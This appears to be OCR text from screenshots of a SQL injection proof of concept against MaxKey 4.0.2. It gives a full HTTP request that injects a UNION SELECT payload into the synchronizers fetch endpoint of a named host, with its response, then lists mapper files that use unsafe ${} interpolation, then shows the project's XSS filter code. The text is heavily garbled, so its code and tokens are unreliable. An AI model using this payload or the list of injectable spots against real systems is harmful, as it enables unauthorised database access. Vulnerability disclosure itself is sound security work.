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Raw Hex Markinfo B n =

GET /maxkey-mgt-api/config/synchronizers/fetch?name=

' +UNION+ALL+SELECT+NULL ,NULL,NULL,NULL,NULL,NULL ,NULL ,NULL ,NULL ,NUL
L,CONCAT(@x716a7@6a71,version(),8x716b626b71) ,NULL ,NULL ,NULL ,NULL ,N
ULL,NULL,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL,NUL
L--+- HTTP/2

Host:

Cookie: JSESSIONID=A371423EDFF@1770A62F320E4B655786
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v=
"Chromium™ 123"

Accept-Language:
Sec-Ch-Ua-Mobile: 7@

Authorization: Bearer

eyJhbGei0ilIUzUxMi19. eyJzdWIi0iJhZGlpbilsImluc3RpdHV@aWOuIjoiMSIsIm
tpZ(16Iml4al9hdXRoX2p3ayIsImlzcyI6Imh@dHAGL Y9z c28ubWF4a2VSLnRvcDoSN
TI2L21heGtleS1tZ3QtYXBpliwiZXhwljoxNzEyNDIXNFE4LCIsb2NhbGUi01IkZSIs
Im1hdCT6MT cxMjQyMDex0CwianRpT joi0Tc@MTQAOTQxNDMIMzg30TAGING . B74FFS8
SiPGhbGExory@z5C41VYrZlv2ilDuD350eQFAs4KG-LERXEQX@ENGZiK1pVCR)BwkgM
@HfgydRgKHDg

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 10_.15.7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0
Safari/537.36

Hostname:

Accept: application/json, text/plain, */*

Authserver: MaxKey

Token:

eyJhbGei0ilIUzUxMi]9. ey)zdWI101JhZGlpbilsImluc3RpdHV@aWOul joiMSIsIm
tpZ(16Im14a19hdXRoX2p3ayIsImlzcyI6Imh@dHAGLY3zc28ubWF4a2VSLnRvcDoSN
TIZL21heGtleS1tZ3QtYXBpIiwiZXhwIjoxNzEyNDIxNJE4LCIsb2NhbGUi011kZSIs
ImlhdCIEMTcxMjQyMDcx0CwianRpIjoi0Tc@MTQAOTQxNDMIMzg30TABING. B74fFS8
SiPGhbGExory@z5C41VYrZlv2ilDuD35DeQFAs4KG-LERXEQXBENGZ1iK1pVCR j8wkgM
@HfgydRgKHDg

Sec-Ch-Ua-Platform: "mac0S"

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer:

18 Accept-Encoding: gzip, deflate

19

Mamlella L A cnnbntunn
Poc:

Pretty Raw  Hex Rer Markinfo

'
jdbcSynchronizerService”,

,
"instName" :null

"id":null,

"name" :null,
"sourceType":null,
"resumeTime":null,
"suspendTime qipjq8.@.34gkbkq",
"scheduler”:null,
"syncStartTime":null,
"providerUrl”:null,
“driverClass":null,
"principal”:null,
"credentials”:null,
"userBasedn":null,
“"userFilters":null,
"orgBasedn” :null,
"orgFilters":null,
"msadDomain":null,
"sslSwitch":null,
"trustStore":null,
"trustStorePassword":null,
"description":null,
"createdBy":null,
"createdDate" :null,
"modifiedBy"inull,
"modifiedDate":null,
"status":null,
"service":null,
"instId":null,
"instName" :null
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GET

/maxkey—mgt—api/config/synchronizers/fetch?name=" +UNION+ALL+SELECT+NULL, NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT (0x716a706a71, version (), 0x716b626b7
1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL-—+- HTTP/2

Host: sso.maxkey. top

Cookie: JSESSIONID=A371423EDFF01770A62F320E4B655786

Sec—Ch-Ua: “Google Chrome”;v="123", ”“Not:A-Brand”;v="8", “Chromium”;v="123"
Accept—-Language: zh-CN

Sec—Ch—Ua-Mobile: ?0

Authorization: Bearer

eyJhbGei01JIUzUxM1J9. eyJzdWIi01iJhZGlpbiIsImluc3RpdHV0aW9ul joiMSIsImtpZCI6Iml4al
9hdXRoX2p3aylsImlzcyl6ImhOdHA6Ly9zc28ubWF4a2V5LnRveDoSNTI2L21heGt1eS1tZ3QtYXBpl
iwiZXhwl joxNzEyNDIxNJE4LCJsb2NhbGUi0i JkZSTsImlhdCI6MTcxMjQyMDexOCwianRpI joiOTcO
MTQOOTQxNDM1Mzg30TAOIn0. B74fFS8SiPGhbG6x0ory0z5C4iVYrZ1v2i JDuD35DeQFAs4KG-LERX6Q
X0En6ZiK1pVCR j8wkgMOHfqydRqKHDg

User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537. 36
(KHTML, 1like Gecko) Chrome/123.0.0.0 Safari/537.36

Hostname: sso.maxkey. top

Accept: application/json, text/plain, */*

Authserver: MaxKey

Token:

eyJhbGei01JIUzUxM1J9. eyJzdWIi01iJhZGlpbiIsImluc3RpdHV0aW9ul joiMSIsImtpZCI6Iml4al
9hdXRoX2p3aylsImlzcyl6ImhOdHA6Ly9zc28ubWF4a2V5LnRveDoSNTI2L21heGtl1eS1tZ3QtYXBpl
iwiZXhwl joxNzEyNDIxNJE4LCJsb2NhbGUi0i JkZSTsImlhdCI6MTcxMjQyMDexOCwianRpI joiOTcO
MTQOOTQxNDM1Mzg30TAOIn0. B74fFS8SiPGhbG6x0ory0z5C4iVYrZ1v2i JDuD35DeQFAs4KG-LERX6Q
X0En6ZiK1pVCR j8wkgMOHfqydRqKHDg

Sec-Ch-Ua-Platform: “mac0S”

Sec—Fetch-Site: same—origin

Sec—Fetch-Mode: cors

Sec—Fetch-Dest: empty

Referer: https://sso.maxkey. top/maxkey-mgt/

Accept—-Encoding: gzip, deflate
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3. 2. W R EBEHFMFFZE

v—-4.0.2\ v-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysgl\GroupsMapper.xml ([LEL1ZK)
and groupname like '%${groupName}$'
\MaxKey-4.0.2\MaxRey—4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\GroupPrivilegesMapper.xm1 ( FLAZ13K)
and name like '%S{name}s’
| y—4.0.2\] v—4.0.2Y v-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\GroupMenberMapper.xm1 (FLAE22K)
and u.displayname like '$8{displayName}%'
and u.displayname like '%SidisplayName}s'
| y—4.0.2\] v—4.0.2Y v-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\HistoryConnectorMapper.xm1 (PLEE1K)
and description like '$8{description}$'
\MaxRey—4.0.2\MaxRey—4. 0. 2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\OrganizationsMapper.xml (PCAZ2EK)
and orgname like '3${orgName}s’
and parentName like '%S({parentHame}$'
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resonrces\org\dromara\maxkey\persistence\mapper\xml\mysql\GroupPermissionsMapper.xm1 ( [LAC13K)
and apps.appnams like '%5{appName}s’

\MaxKey—4.0.2\MaxKey—4.0.2\maxkey persistence\src\main\resources\org\dromara\maxkey\persi \mapper\xml\mysql a1 (FEEE1EK)
and res.resourcename like '$5{resourceName}%'
v-4.0.2\ v-4.0.2\ v-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\SocialsProviderMapper.xml (PLEZ1ZK)

and providerName like ‘'%3{providerName}%'
\MaxKey-4.0.2\MaxRey—4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\SynchronizersMapper.xmi (JCAZ13K)
and name like 'i5{name}$’

| y—4.0.2\] v—4.0.2Y vy-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\mysql\UserInfoMapper.xml (PLEZ18K)
and displayname like '%3{displayName}$'
\MaxKey-4.0.2\MaxKey—4.0. 2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persi \mapper\xml\mysql\ m1 (CAS1EK)
and name like '¥iname}s’
\MaxKey—4.0.2\MaxKey—4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persi \mapper\xml\mysql\, am (EEE1ER)
and appname like '55 {appName} 3!
| y-4.0.2\] y—-4.0.2\ y-persistence\sro\main\resources\org\dromara\maxkey\persi \mapper\xml\mysgl\Ce amy (PEEE1K)D

and connname like '$S${connName}%'

\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\sro\main\resources\org\dromara\naxkey\persistence\mapper\xml\; 1\ xml  (PLEE2R)

and u.displayname like '%3{displayMName}g’

and u.displayname like '%5{displayName}%’'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\ 1\GroupPrivi m1 (PEEELER)

and apps.name like '%5{name}s’
\MaxKey-4.0.2\MaxEey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\napper\xml \postaresql\GroupsMapper . xnl  (FLEE1K)

and name like '%${namels’
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \ L\H1stoTyC: amy (EEELEKD

and description like '%${description}s’'
\MaxRey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\rescurces\org\dromara\maxkey\persistence\mapper\xml\postgresql\NoticesMapper.xm1 ([LEZ13K)

and title like '%¥5{title}s’
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\rescurces\org\dromara\maxkey\persistence\mapper\xml\postgresql \OrganizationsMapper.xm1 ([CEC23K)

and name like '%5{name}%'

and parentName like ':S{parentName}$'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\naxkey\persistence\mapper\xml \postgresql\ResourcesMapper.xm1 {([LEZ1ZK)

and res.name like '%5{name}%’'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\rescurces\org\dromara\maxkey\persistence\mapper\xml \postgresql \RoleMemberMapper.xm1 ([LAZ27R)

and u.displayname like '%S{displayName}%'

and u.displayname like '%S{displayName}%'
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\sroc\main\rescurces\org\dromara\maxkey\persistence\mapper\xml \postgresql\SocialsProviderMapper.xm1 (PLEE1EK)

and providerName like '%53{providerName}%"'
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \postgresqgl\RolesMapper.xm1 ([LEE13K)

and name like '$3{name}%’
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\naxkey\persistence\mapper\xml\; 1\Synchroni xml  (PLEELRD

and name like '%${name}%'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\napper\xml\postgresql\UserInfoMapper. xml  ([LEE1K)

and displayname like 't${displayName}%'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\ 1\ m1 (FEEE1ER)

and name like '%${namels’
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \postgresql\AppsMapper.xnl  ([EEE1EK)

and name like 'sSinamels’

\MaxKey—4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \highgo\NoticesMapper.xm1 (FLAE13K)
and title 1like '%S{title}s'
\MaxKey—4.0.2\MaxKey-4. 0.2\naxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \highgo\ResourcesMapper.xml {(LAC1K)
and res.name like '¥5({name}%'
\MaxKey—4.0.2\MaxKey-4.0.2\naxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\highgo\UserInfoMapper.xml {(PCACZ13K)
and displayname like '$${displayName}%'
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\highgo\RolesMapper.xm1 ([CAZ13K)
and name like '%3({name}%'
\MaxRey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\highgo\RoleMemberMapper.xml {LEZ2¥K)
and u.displayname like '%5{displayName}%'
and u.displayname like ‘'s${displayNamel%'
\MaxKey-4.0.2\MaxKey-4. 0. 2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\highgo\SynchronizersMapper.xml (PLEE1K)
and name like '%5{name}s’
‘\MaxKey-4.0.2\MaxKey-4.0.2\naxkey-persistence\src\main\resources\org\dronara\maxkey\persistence\mapper\xml\highgo\AppsAdaptersMapper.xml  (FLEZ1ER)
and name like '%3{name}i’
\MaxKey-4.0.2\MaxRey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml\highgo\AppsMapper .xm1 (PLEE1K)
and name like '%3{namel}%'
\MaxKey-4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \highgo\GroupMenberMapper.xm1 {( FLAZ28K)
and u.displayname like '%3{displayName}%'
and u.displayname like '%3{displayNamel}%'
\MaxKey—4.0.2\MaxKey-4.0.2\maxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \highgo\GroupPrivilegesMapper.xm1 (FLAZ13K)
and apps.name like '%3(name}3’'
\MaxKey—4.0.2\MaxRey-4. 0.2\naxkey-persistence\src\main\resources\org\dromara\maxkey\persistence\mapper\xml \highgo\GroupsMapper.xm1 (EAZ13K)
and name like '%${name}%'
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* Copyright [2021] [MaxKey of copyright http://www. maxkey. top]



% Licensed under the Apache License, Version 2.0 (the “License”);

* you may not use this file except in compliance with the License

*

*

*

*

*

*

You may obtain a copy of the License at

http://www. apache. org/licenses/LICENSE-2. 0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an “AS IS” BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied

See the License for the specific language governing permissions and

* limitations under the License

*/

package org

import

import

import

import

import

import

import

import

import

import

import

import

java. io.

dromara. maxkey. web;

I0Exception;

java.util. Enumeration;

java.util. concurrent. ConcurrentHashMap;

java.util. regex. Pattern;

org. apache. commons. text. StringEscapeUtils;

org. s1f4j. Logger;

org. s1f4j. LoggerFactory;

org. springframework. web. filter. GenericFilterBean;

jakarta

jakarta

jakarta

jakarta

servlet. FilterChain;

servlet. ServletException;

servlet. ServletRequest;

servlet. ServletResponse;



import jakarta.servlet.http. HttpServletRequest;

public class WebXssRequestFilter extends GenericFilterBean {

static final Logger logger = LoggerFactory. getlLogger (WebXssRequestFilter. class) ;

static final ConcurrentHashMap <String, String> skipUrlMap = new ConcurrentHashMap <>();

static final ConcurrentHashMap <String, String> skipParameterName = new ConcurrentHashMap

05
/%%
* R - #
*/
public final static Pattern specialCharacterRegex =

Pattern. compile (". % ((\\%27) | C) [ O\\") [ () [ O\-\\) [ (\%23) | (#)). *”

Pattern. CASE_INSENSITIVE) ;

static {

//add or update

skipUrlMap.

skipUrlMap.

skipUrlMap.

skipUrlMap.

skipUrlMap.

//authz

skipUrlMap.

skipUrlMap.

skipUrlMap.

skipUrlMap.

put ("/notices/add”, ”/notices/add”);

put ("/notices/update”, ”/notices/update”);

put (“/institutions/update”,”/institutions/update”) ;
put (“/localization/update”,”/localization/update”) ;

” n

put (”/apps/updateExtendAttr”, ”/apps/updateExtendAttr”) ;

put (“/authz/cas”, ”/authz/cas”) ;
put (“/authz/cas/”, ”/authz/cas/”);
put ("/authz/cas/login”, ”/authz/cas/login”):

put ("/authz/oauth/v20/authorize”, ”/authz/oauth/v20/authorize”) ;



//TENCENT T0A

skipUrlMap. put (“/oauth2/authorize”, ”/oauth2/authorize”);

skipParameterName. put (“relatedPassword”, “relatedPassword”);
skipParameterName. put (“oldPassword”, “oldPassword”) ;
skipParameterName. put (“password”, “password”);
skipParameterName. put (“confirmpassword”, “confirmpassword”) ;
skipParameterName. put (“credentials”, “credentials”);
skipParameterName. put (“clientSecret”, “clientSecret”);
skipParameterName. put (“appSecret”, “appSecret”);
skipParameterName. put (“sharedSecret”, ”sharedSecret”);

skipParameterName. put (“secret”, “secret”);

@0verride
public void doFilter (ServletRequest servletRequest, ServletResponse response, FilterChain
chain)
throws I0Exception, ServletException f{
logger. trace ("WebXssRequestFilter”) ;
boolean isWebXss = false;
HttpServletRequest request= ((HttpServletRequest)servletRequest) ;
if(_logger. isTraceEnabled()) {WebContext.printRequest (request);}
String requestURL
=request. getRequestURI (). substring (request. getContextPath (). length()) ;
if (skipUrlMap. containsKey (requestURL)) {
_logger. trace (“skip URL {}”, requestURL) ;
Jelse {
Enumeration<String> parameterNames = request. getParameterNames () ;
while (parameterNames. hasMoreElements()) {

String key = parameterNames. nextElement () ;



if (!skipParameterName. containsKey (key)) {
String value = request. getParameter (key) ;
logger. trace ("parameter name {} , value {}” , key, value);
String tempValue = value;
String lowerCaseTempValue = tempValue. toLowerCase () ;
/%
* StringEscapeUtils. escapeHtml4
* 7 B SUN &quot;
* & ¥ N &amp;
w CFESUN &t

* > KSR &gt

* DURFF 5 e

* script

* eval

*/
if (!StringEscapeUtils. escapeHtml4 (tempValue). equals (value)
| |specialCharacterRegex. matcher (value). matches ()
| [lowerCaseTempValue. indexOf (“script”) >-1
| [ TowerCaseTempValue. replace(” 7, ””).indexOf (“eval (") >-1) {
isWebXss = true;
logger. error (“dangerous ! parameter {} , value {}”,key, value);

break:



}
if (1isWebXss) {

chain. doFilter (request, response) ;
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